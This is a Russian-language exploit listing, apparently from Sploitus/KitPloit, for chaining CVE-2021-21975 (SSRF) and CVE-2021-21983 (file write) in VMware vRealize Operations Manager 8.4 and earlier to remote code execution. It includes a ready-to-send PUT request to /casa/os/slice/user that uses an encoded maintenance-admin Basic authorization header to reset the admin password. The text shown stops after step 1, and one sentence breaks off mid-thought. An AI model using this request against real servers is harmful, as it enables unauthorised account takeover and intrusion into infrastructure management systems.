Exploit for CVE-2021-21983 CVE-2021-21975 CVE-2021-21983

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MURATAYDEMIR-CVE-2021-21983
**[CVE-2021-21975] Произвольная запись файлов в API VMware vRealize Operations (vROps) Manager приводит к удаленному выполнению кода (RCE)**

* * *

vRealize Operations (vROps) — это инструмент, который обеспечивает автономное управление ИТ-операциями на базе искусственного интеллекта: от приложений до инфраструктуры, позволяя оптимизировать, планировать и масштабировать развертывания VMware Cloud и HCI, одновременно унифицируя мониторинг публичных облаков. API VMware vRealize Operations Manager `8.4 and all previous versions` подвержен уязвимости Server Side Request Forgery (SSRF). Успешная эксплуатация этой уязвимости может привести к чтению или изменению внутренних ресурсов; кроме того, в этом случае злоумышленник может легко похитить учетные данные администратора сервера vROps. Комбинируя CVE-2021-21975 и `CVE-2021-21983`, злоумышленник может выполнить произвольный код на удаленном сервере vRealize Operations.

**Цепочка атаки 1, шаг 1:** После получения действительного токена авторизации (для получения дополнительной информации о том, как получить токен авторизации, посетите CVE-2021-21975, чтобы эксплуатировать уязвимость `CVE-2021-21983`, вы можете воспользоваться функцией сброса пароля метода API

root@kitploit:~
    
    
    PUT /casa/os/slice/user HTTP/1.1
    Host: vulnerablehost
    Authorization: Basic bWFpbnRlbmFuY2VBZG1pbjpTZzVzUW1ZODJLb0NZZ1dFdi9Ia0JMeGE=
    Content-Type: application/json
    Connection: close
    Content-Length: 47
    
    {"username":"admin","password":"P@ssw0rd!"}